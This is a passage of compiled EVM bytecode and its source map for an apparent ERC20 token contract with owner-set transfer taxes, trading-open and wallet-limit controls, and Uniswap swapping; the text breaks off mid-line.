61bcd60e51b81526004016104d4906119a5565b61055d6009600a611977565b61056b90633b9aca00611986565b600b5561057a6009600a611977565b61058890633b9aca00611986565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105b86009600a611977565b6105c690633b9aca00611986565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104d4906119a5565b60198211158015610616575060198111155b80156106245750600d5460ff165b6106705760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016104d4565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146106e15760405162461bcd60e51b81526004016104d4906119a5565b600d5460ff161561072b5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104d4565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016105d0565b6000546001600160a01b031633146107ab5760405162461bcd60e51b81526004016104d4906119a5565b600d5460ff16156107f45760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104d4565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909161084d9161083f6009600a611977565b61049b90633b9aca00611986565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089b57600080fd5b505afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906119da565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093057600080fd5b505afa158015610944573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096891906119da565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109b057600080fd5b505af11580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e891906119da565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab091906119f7565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190611a25565b5050565b60006103fa338484610c87565b610b596009600a611977565b61041d906064611986565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b81526004016104d4906119a5565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001600160a01b03831615801590610bd957506001600160a01b03821615155b610c255760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104d4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610ca757506001600160a01b03821615155b610cf35760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104d4565b60008111610d555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b600d5460ff16610de1576001600160a01b03821660009081526003602052604090205460ff1680610d9e57506001600160a01b03831660009081526003602052604090205460ff165b610de15760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104d4565b600d5462010000900460ff161580610e005750600d54610100900460ff165b15610eab576001600160a01b038316600090815260016020526040902054610e289082610ef5565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610e579082610f3e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7a9085815260200190565b610eb6838383610f9d565b505050565b60008184841115610edf5760405162461bcd60e51b81526004016104d491906116ef565b506000610eec8486611a42565b95945050505050565b6000610f3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebb565b9392505050565b600080610f4b8385611a59565b905083811015610f375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b60006064610fc0600f60095411610fb5576019610fb9565b6007545b84906111d7565b610fca9190611a71565b9050610fde6000546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561100d57506000546001600160a01b03848116911614155b156111c5576005546001600160a01b03858116911614801561103d57506006546001600160a01b03848116911614155b801561106257506001600160a01b03831660009081526003602052604090205460ff16155b1561114a57600b548211156110b95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600c54826110dc856001600160a01b031660009081526001602052604090205490565b6110e69190611a59565b11156111345760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b6009805490600061114483611a93565b91905055505b6005546001600160a01b03848116911614801561117057506001600160a01b0384163014155b156111a2576064611195600f6009541161118b576019610fb9565b60085484906111d7565b61119f9190611a71565b90505b80600a60008282546111b49190611a59565b909155506111c59050848484611256565b6111d18484848461138a565b50505050565b6000826111e6575060006103fe565b60006111f28385611986565b9050826111ff8583611a71565b14610f375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b30600090815260016020526040902054600d54610100900460ff1615801561128b57506005546001600160a01b038481169116145b801561129f5750600d5462010000900460ff165b80156112ad5750600f600954115b80156112d257506001600160a01b03841660009081526003602052604090205460ff16155b80156112f757506001600160a01b03831660009081526003602052604090205460ff16155b156111d1576113086009600a611977565b611313906064611986565b8111156113745760006113286009600a611977565b6113359062989680611986565b8211611341578161135a565b61134d6009600a611977565b61135a9062989680611986565b905061137281841161136c5783611511565b81611511565b505b4761137e81611694565b506000600a5550505050565b6001600160a01b03841660009081526003602052604081205460ff161580156113b35750600083115b9050600081156113ca576113c784846116ce565b90505b821561144457306000908152600160205260409020546113ea9084610f3e565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061143b9087815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054611468908290611a42565b6001600160a01b03871660009081526001602052604090205561148b8484610ef5565b6001600160a01b0386166000908152600160205260409020546114ae9190611a59565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114f88787610ef5565b60405190815260200160405180910390a3505050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155557611555611aae565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115a957600080fd5b505afa1580156115bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e191906119da565b816001815181106115f4576115f4611aae565b6001600160a01b03928316602091820292909201015260065461161a9130911684610bb9565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611653908590600090869030904290600401611ac4565b600060405180830381600087803b15801561166d57600080fd5b505af1158015611681573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b3c573d6000803e3d6000fd5b60006116da8282611986565b6116e5846001611986565b610f379190611a59565b600060208083528351808285015260005b8181101561171c57858101830151858201604001528201611700565b8181111561172e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461175957600080fd5b50565b6000806040838503121561176f57600080fd5b823561177a81611744565b946020939093013593505050565b60008060006060848603121561179d57600080fd5b83356117a881611744565b925060208401356117b881611744565b929592945050506040919091013590565b6000602082840312156117db57600080fd5b8135610f3781611744565b600080604083850312156117f957600080fd5b50508035926020909101359150565b6000806040838503121561181b57600080fd5b823561182681611744565b9150602083013561183681611744565b809150509250929050565b801515811461175957600080fd5b6000806040838503121561186257600080fd5b823561186d81611744565b9150602083013561183681611841565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118ce5781600019048211156118b4576118b461187d565b808516156118c157918102915b93841c9390800290611898565b509250929050565b6000826118e5575060016103fe565b816118f2575060006103fe565b816001811461190857600281146119125761192e565b60019150506103fe565b60ff8411156119235761192361187d565b50506001821b6103fe565b5060208310610133831016604e8410600b8410161715611951575081810a6103fe565b61195b8383611893565b806000190482111561196f5761196f61187d565b029392505050565b6000610f3760ff8416836118d6565b60008160001904831182151516156119a0576119a061187d565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119ec57600080fd5b8151610f3781611744565b600080600060608486031215611a0c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3757600080fd5b8151610f3781611841565b600082821015611a5457611a5461187d565b500390565b60008219821115611a6c57611a6c61187d565b500190565b600082611a8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415611aa757611aa761187d565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b145784516001600160a01b031683529383019391830191600101611aef565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090c4d2f702340329e1dca8983ae4ff74ff38279717a62a5483327c76e0359e9664736f6c63430008090033
Deployed Bytecode Sourcemap
3840:9928:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6693:83;;;;;;;;;;-1:-1:-1;6763:5:0;;;;;;;;;;;;-1:-1:-1;;;6763:5:0;;;;6693:83;;;;;;;:::i;:::-;;;;;;;;10413:186;;;;;;;;;;-1:-1:-1;10413:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;10413:186:0;1072:187:1;4964:64:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;4964:64:0;1264:177:1;6970:95:0;;;;;;;;;;;;;:::i;7576:446::-;;;;;;;;;;-1:-1:-1;7576:446:0;;;;;:::i;:::-;;:::i;6879:83::-;;;;;;;;;;-1:-1:-1;6879:83:0;;4814:1;2049:36:1;;2037:2;2022:18;6879:83:0;1907:184:1;7073:119:0;;;;;;;;;;-1:-1:-1;7073:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7166:18:0;7139:7;7166:18;;;:9;:18;;;;;;;7073:119;3685:148;;;;;;;;;;;;;:::i;:::-;;13084:153;;;;;;;;;;;;;:::i;5035:56::-;;;;;;;;;;;;;;;;12610:366;;;;;;;;;;-1:-1:-1;12610:366:0;;;;;:::i;:::-;;:::i;11372:218::-;;;;;;;;;;;;;:::i;3471:79::-;;;;;;;;;;-1:-1:-1;3509:7:0;3536:6;3471:79;;-1:-1:-1;;;;;3536:6:0;;;2747:51:1;;2735:2;2720:18;3471:79:0;2601:203:1;5098:58:0;;;;;;;;;;;;;;;;6784:87;;;;;;;;;;-1:-1:-1;6856:7:0;;;;;;;;;;;;-1:-1:-1;;;6856:7:0;;;;6784:87;;5874:811;;;;;;;;;;;;;:::i;7200:192::-;;;;;;;;;;-1:-1:-1;7200:192:0;;;;;:::i;:::-;;:::i;4892:65::-;;;;;;;;;;;;;:::i;7400:168::-;;;;;;;;;;-1:-1:-1;7400:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7533:18:0;;;7506:7;7533:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7400:168;8030:130;;;;;;;;;;-1:-1:-1;8030:130:0;;;;;:::i;:::-;;:::i;10413:186::-;10513:4;10530:39;284:10;10553:7;10562:6;10530:8;:39::i;:::-;-1:-1:-1;10587:4:0;10413:186;;;;;:::o;4964:64::-;5013:15;4814:1;5013:2;:15;:::i;:::-;5002:26;;:8;:26;:::i;:::-;4964:64;:::o;6970:95::-;7023:7;4870:15;4814:1;4870:2;:15;:::i;:::-;4857:28;;:10;:28;:::i;:::-;7043:14;;6970:95;:::o;7576:446::-;7708:4;7725:36;7735:6;7743:9;7754:6;7725:9;:36::i;:::-;7772:220;7795:6;284:10;7843:138;7899:6;7843:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7843:19:0;;;;;;:11;:19;;;;;;;;284:10;7843:33;;;;;;;;;;:37;:138::i;:::-;7772:8;:220::i;:::-;-1:-1:-1;8010:4:0;7576:446;;;;;:::o;3685:148::-;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;;;;;;;;;3792:1:::1;3776:6:::0;;3755:40:::1;::::0;-1:-1:-1;;;;;3776:6:0;;::::1;::::0;3755:40:::1;::::0;3792:1;;3755:40:::1;3823:1;3806:19:::0;;-1:-1:-1;;;;;;3806:19:0::1;::::0;;3685:148::o;13084:153::-;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;4870:15:::1;4814:1;4870:2;:15;:::i;:::-;4857:28;::::0;:10:::1;:28;:::i;:::-;13138:12;:22:::0;4870:15:::1;4814:1;4870:2;:15;:::i;:::-;4857:28;::::0;:10:::1;:28;:::i;:::-;13171:14;:24:::0;13211:18:::1;4870:15;4814:1;4870:2;:15;:::i;:::-;4857:28;::::0;:10:::1;:28;:::i;:::-;13211:18;::::0;1410:25:1;;;1398:2;1383:18;13211::0::1;;;;;;;;13084:153::o:0;12610:366::-;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;12760:2:::1;12747:9;:15;;:35;;;;;12780:2;12766:10;:16;;12747:35;:50;;;;-1:-1:-1::0;12786:11:0::1;::::0;::::1;;12747:50;12725:124;;;::::0;-1:-1:-1;;;12725:124:0;;5963:2:1;12725:124:0::1;::::0;::::1;5945:21:1::0;6002:2;5982:18;;;5975:30;6041:26;6021:18;;;6014:54;6085:18;;12725:124:0::1;5761:348:1::0;12725:124:0::1;12860:12;:24:::0;;;12895:13:::1;:26:::0;;;12937:31:::1;::::0;;6288:25:1;;;6344:2;6329:18;;6322:34;;;12937:31:0::1;::::0;6261:18:1;12937:31:0::1;;;;;;;12610:366:::0;;:::o;11372:218::-;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;11433:11:::1;::::0;::::1;;11432:12;11424:45;;;::::0;-1:-1:-1;;;11424:45:0;;6569:2:1;11424:45:0::1;::::0;::::1;6551:21:1::0;6608:2;6588:18;;;6581:30;-1:-1:-1;;;6627:18:1;;;6620:50;6687:18;;11424:45:0::1;6367:344:1::0;11424:45:0::1;11480:11;:18:::0;;11509;-1:-1:-1;;11509:18:0;;;;;;;;11543:39:::1;::::0;;-1:-1:-1;6878:41:1;;11480:18:0;11570:11;;::::1;11480:18;11570:11;6962:14:1::0;6955:22;6950:2;6935:18;;6928:50;11543:39:0::1;::::0;6851:18:1;11543:39:0::1;6716:268:1::0;5874:811:0;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;5935:11:::1;::::0;::::1;;5934:12;5926:44;;;::::0;-1:-1:-1;;;5926:44:0;;7191:2:1;5926:44:0::1;::::0;::::1;7173:21:1::0;7230:2;7210:18;;;7203:30;-1:-1:-1;;;7249:18:1;;;7242:49;7308:18;;5926:44:0::1;6989:343:1::0;5926:44:0::1;6021:4;5981:19;7166:18:::0;;;:9;:18;;;;;;6038:15:::1;:104:::0;;-1:-1:-1;;;;;;6038:104:0::1;6089:42;6038:104:::0;;::::1;::::0;;;7166:18;;6153:58:::1;::::0;4870:15:::1;4814:1;4870:2;:15;:::i;:::-;4857:28;::::0;:10:::1;:28;:::i;6153:58::-;6256:15;;;;;;;;;-1:-1:-1::0;;;;;6256:15:0::1;-1:-1:-1::0;;;;;6256:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6238:55:0::1;;6316:4;6336:15;;;;;;;;;-1:-1:-1::0;;;;;6336:15:0::1;-1:-1:-1::0;;;;;6336:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6238:131;::::0;-1:-1:-1;;;;;;6238:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7823:15:1;;;6238:131:0::1;::::0;::::1;7805:34:1::0;7875:15;;7855:18;;;7848:43;7740:18;;6238:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6222:13;:147:::0;;-1:-1:-1;;;;;;6222:147:0::1;-1:-1:-1::0;;;;;6222:147:0;;::::1;;::::0;;6380:15:::1;::::0;::::1;:31;6419:21;6464:4;6484:11:::0;-1:-1:-1;;284:10:0;6380:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6380:215:0;;;-1:-1:-1;;;;;8261:15:1;;;6380:215:0::1;::::0;::::1;8243:34:1::0;8293:18;;;8286:34;;;;8336:18;;;8329:34;;;;8379:18;;;8372:34;8443:15;;;8422:19;;;8415:44;6569:15:0::1;8475:19:1::0;;;8468:35;8177:19;;6380:215:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6613:13:0::1;::::0;6644:15:::1;::::0;6606:71:::1;::::0;-1:-1:-1;;;6606:71:0;;-1:-1:-1;;;;;6644:15:0;;::::1;6606:71;::::0;::::1;8999:51:1::0;-1:-1:-1;;9066:18:1;;;9059:34;6613:13:0;::::1;::::0;-1:-1:-1;6606:29:0::1;::::0;8972:18:1;;6606:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5915:770;5874:811::o:0;7200:192::-;7303:4;7320:42;284:10;7344:9;7355:6;7320:9;:42::i;4892:65::-;4942:15;4814:1;4942:2;:15;:::i;:::-;4936:21;;:3;:21;:::i;8030:130::-;3598:6;;-1:-1:-1;;;;;3598:6:0;284:10;3598:22;3590:67;;;;-1:-1:-1;;;3590:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8114:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;-1:-1:-1;;8114:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8030:130::o;8168:313::-;-1:-1:-1;;;;;8275:19:0;;;;;;:44;;-1:-1:-1;;;;;;8298:21:0;;;;8275:44;8253:125;;;;-1:-1:-1;;;8253:125:0;;9556:2:1;8253:125:0;;;9538:21:1;9595:2;9575:18;;;9568:30;9634:33;9614:18;;;9607:61;9685:18;;8253:125:0;9354:355:1;8253:125:0;-1:-1:-1;;;;;8389:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8441:32;;1410:25:1;;;8441:32:0;;1383:18:1;8441:32:0;;;;;;;;8168:313;;;:::o;10607:757::-;-1:-1:-1;;;;;10709:18:0;;;;;;:38;;-1:-1:-1;;;;;;10731:16:0;;;;10709:38;10687:120;;;;-1:-1:-1;;;10687:120:0;;9916:2:1;10687:120:0;;;9898:21:1;;;9935:18;;;9928:30;9994:34;9974:18;;;9967:62;10046:18;;10687:120:0;9714:356:1;10687:120:0;10835:1;10826:6;:10;10818:64;;;;-1:-1:-1;;;10818:64:0;;10277:2:1;10818:64:0;;;10259:21:1;10316:2;10296:18;;;10289:30;10355:34;10335:18;;;10328:62;-1:-1:-1;;;10406:18:1;;;10399:39;10455:19;;10818:64:0;10075:405:1;10818:64:0;10900:11;;;;10895:177;;-1:-1:-1;;;;;10954:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;10980:24:0;;;;;;:18;:24;;;;;;;;10954:50;10928:132;;;;-1:-1:-1;;;10928:132:0;;10687:2:1;10928:132:0;;;10669:21:1;10726:2;10706:18;;;10699:30;-1:-1:-1;;;10745:18:1;;;10738:50;10805:18;;10928:132:0;10485:344:1;10928:132:0;11089:11;;;;;;;11088:12;;:22;;-1:-1:-1;11104:6:0;;;;;;;11088:22;11084:223;;;-1:-1:-1;;;;;11145:15:0;;;;;;:9;:15;;;;;;:27;;11165:6;11145:19;:27::i;:::-;-1:-1:-1;;;;;11127:15:0;;;;;;;:9;:15;;;;;;:45;;;;11203:13;;;;;;;:25;;11221:6;11203:17;:25::i;:::-;-1:-1:-1;;;;;11187:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11248:26;;;;;;;;;;11267:6;1410:25:1;;1398:2;1383:18;;1264:177;11084:223:0;11319:37;11339:4;11345:2;11349:6;11319:19;:37::i;:::-;10607:757;;;:::o;1459:224::-;1579:7;1615:12;1607:6;;;;1599:29;;;;-1:-1:-1;;;1599:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1639:9:0;1651:5;1655:1;1651;:5;:::i;:::-;1639:17;1459:224;-1:-1:-1;;;;;1459:224:0:o;1315:136::-;1373:7;1400:43;1404:1;1407;1400:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1393:50;1315:136;-1:-1:-1;;;1315:136:0:o;1128:179::-;1186:7;;1218:5;1222:1;1218;:5;:::i;:::-;1206:17;;1247:1;1242;:6;;1234:46;;;;-1:-1:-1;;;1234:46:0;;11299:2:1;1234:46:0;;;11281:21:1;11338:2;11318:18;;;11311:30;11377:29;11357:18;;;11350:57;11424:18;;1234:46:0;11097:351:1;9151:1254:0;9241:17;9395:3;9274:105;4386:2;9304:9;;:27;9303:61;;4282:2;9303:61;;;9335:12;;9303:61;9274:6;;:10;:105::i;:::-;:124;;;;:::i;:::-;9241:157;;9423:7;3509;3536:6;-1:-1:-1;;;;;3536:6:0;;3471:79;9423:7;-1:-1:-1;;;;;9415:15:0;:4;-1:-1:-1;;;;;9415:15:0;;;:32;;;;-1:-1:-1;3509:7:0;3536:6;-1:-1:-1;;;;;9434:13:0;;;3536:6;;9434:13;;9415:32;9411:930;;;9494:13;;-1:-1:-1;;;;;9486:21:0;;;9494:13;;9486:21;:72;;;;-1:-1:-1;9542:15:0;;-1:-1:-1;;;;;9528:30:0;;;9542:15;;9528:30;;9486:72;:116;;;;-1:-1:-1;;;;;;9580:22:0;;;;;;:18;:22;;;;;;;;9579:23;9486:116;9464:438;;;9655:12;;9645:6;:22;;9637:60;;;;-1:-1:-1;;;9637:60:0;;11877:2:1;9637:60:0;;;11859:21:1;11916:2;11896:18;;;11889:30;11955:27;11935:18;;;11928:55;12000:18;;9637:60:0;11675:349:1;9637:60:0;9772:14;;9762:6;9746:13;9756:2;-1:-1:-1;;;;;7166:18:0;7139:7;7166:18;;;:9;:18;;;;;;;7073:119;9746:13;:22;;;;:::i;:::-;:40;;9716:140;;;;-1:-1:-1;;;9716:140:0;;12231:2:1;9716:140:0;;;12213:21:1;12270:2;12250:18;;;12243:30;12309:28;12289:18;;;12282:56;12355:18;;9716:140:0;12029:350:1;9716:140:0;9875:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9464:438;9928:13;;-1:-1:-1;;;;;9922:19:0;;;9928:13;;9922:19;:44;;;;-1:-1:-1;;;;;;9945:21:0;;9961:4;9945:21;;9922:44;9918:327;;;10226:3;10020:182;4439:2;10058:9;;:28;10057:122;;4334:2;10057:122;;;10119:13;;10020:6;;:10;:182::i;:::-;:209;;;;:::i;:::-;9987:242;;9918:327;10274:9;10261;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;10297:32:0;;-1:-1:-1;10312:4:0;10318:2;10322:6;10297:14;:32::i;:::-;10353:44;10369:4;10375:2;10379:6;10387:9;10353:15;:44::i;:::-;9230:1175;9151:1254;;;:::o;1691:246::-;1749:7;1773:6;1769:47;;-1:-1:-1;1803:1:0;1796:8;;1769:47;1826:9;1838:5;1842:1;1838;:5;:::i;:::-;1826:17;-1:-1:-1;1871:1:0;1862:5;1866:1;1826:17;1862:5;:::i;:::-;:10;1854:56;;;;-1:-1:-1;;;1854:56:0;;12726:2:1;1854:56:0;;;12708:21:1;12765:2;12745:18;;;12738:30;12804:34;12784:18;;;12777:62;-1:-1:-1;;;12855:18:1;;;12848:31;12896:19;;1854:56:0;12524:397:1;11763:839:0;11897:4;11848:28;7166:18;;;:9;:18;;;;;;11933:6;;;;;;;11932:7;:43;;;;-1:-1:-1;11962:13:0;;-1:-1:-1;;;;;11956:19:0;;;11962:13;;11956:19;11932:43;:71;;;;-1:-1:-1;11992:11:0;;;;;;;11932:71;:118;;;;;4494:2;12020:9;;:30;11932:118;:160;;;;-1:-1:-1;;;;;;12068:24:0;;;;;;:18;:24;;;;;;;;12067:25;11932:160;:200;;;;-1:-1:-1;;;;;;12110:22:0;;;;;;:18;:22;;;;;;;;12109:23;11932:200;11914:681;;;4942:15;4814:1;4942:2;:15;:::i;:::-;4936:21;;:3;:21;:::i;:::-;12162:20;:40;12159:299;;;12223:19;5013:15;4814:1;5013:2;:15;:::i;:::-;5002:26;;:8;:26;:::i;:::-;12246:20;:34;12245:115;;12340:20;12245:115;;;5013:15;4814:1;5013:2;:15;:::i;:::-;5002:26;;:8;:26;:::i;:::-;12223:137;;12379:63;12406:11;12397:6;:20;12396:45;;12435:6;12379:16;:63::i;12396:45::-;12421:11;12379:16;:63::i;:::-;12204:254;12159:299;12501:21;12537:32;12501:21;12537:12;:32::i;:::-;-1:-1:-1;12582:1:0;12570:9;:13;11837:765;11763:839;;;:::o;8489:654::-;-1:-1:-1;;;;;8615:24:0;;8595:15;8615:24;;;:18;:24;;;;;;;;8614:25;:39;;;;;8652:1;8643:6;:10;8614:39;8595:58;;8666:19;8705:10;8702:64;;;8731:35;8748:6;8756:9;8731:16;:35::i;:::-;8717:49;;8702:64;8783:13;;8779:176;;8862:4;8844:24;;;;:9;:24;;;;;;:39;;8873:9;8844:28;:39::i;:::-;8835:4;8817:24;;;;:9;:24;;;;;;;:66;;;;8903:40;;-1:-1:-1;;;;;8903:40:0;;;;;;;8933:9;1410:25:1;;1398:2;1383:18;;1264:177;8903:40:0;;;;;;;;8779:176;-1:-1:-1;;;;;8985:15:0;;;;;;:9;:15;;;;;;:29;;9003:11;;8985:29;:::i;:::-;-1:-1:-1;;;;;8967:15:0;;;;;;:9;:15;;;;;:47;9057:21;:6;9068:9;9057:10;:21::i;:::-;-1:-1:-1;;;;;9041:13:0;;;;;;:9;:13;;;;;;:37;;;;:::i;:::-;-1:-1:-1;;;;;9025:13:0;;;;;;;:9;:13;;;;;:53;;;;9094:41;;;9113:21;:6;9124:9;9113:10;:21::i;:::-;9094:41;;1410:25:1;;;1398:2;1383:18;9094:41:0;;;;;;;8583:560;;8489:654;;;;:::o;13282:483::-;5469:6;:13;;-1:-1:-1;;5469:13:0;;;;;13384:16:::1;::::0;;13398:1:::1;13384:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13384:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13384:16:0::1;13360:40;;13429:4;13411;13416:1;13411:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13411:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13455:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13455:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13411:7;;13455:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13445:4;13450:1;13445:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13445:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13520:15:::1;::::0;13488:62:::1;::::0;13505:4:::1;::::0;13520:15:::1;13538:11:::0;13488:8:::1;:62::i;:::-;13561:15;::::0;:196:::1;::::0;-1:-1:-1;;;13561:196:0;;-1:-1:-1;;;;;13561:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13642:11;;13561:15:::1;::::0;13684:4;;13711::::1;::::0;13731:15:::1;::::0;13561:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5505:6:0;:14;;-1:-1:-1;;5505:14:0;;;-1:-1:-1;;;;13282:483:0:o;12984:92::-;13041:10;;:27;;-1:-1:-1;;;;;13041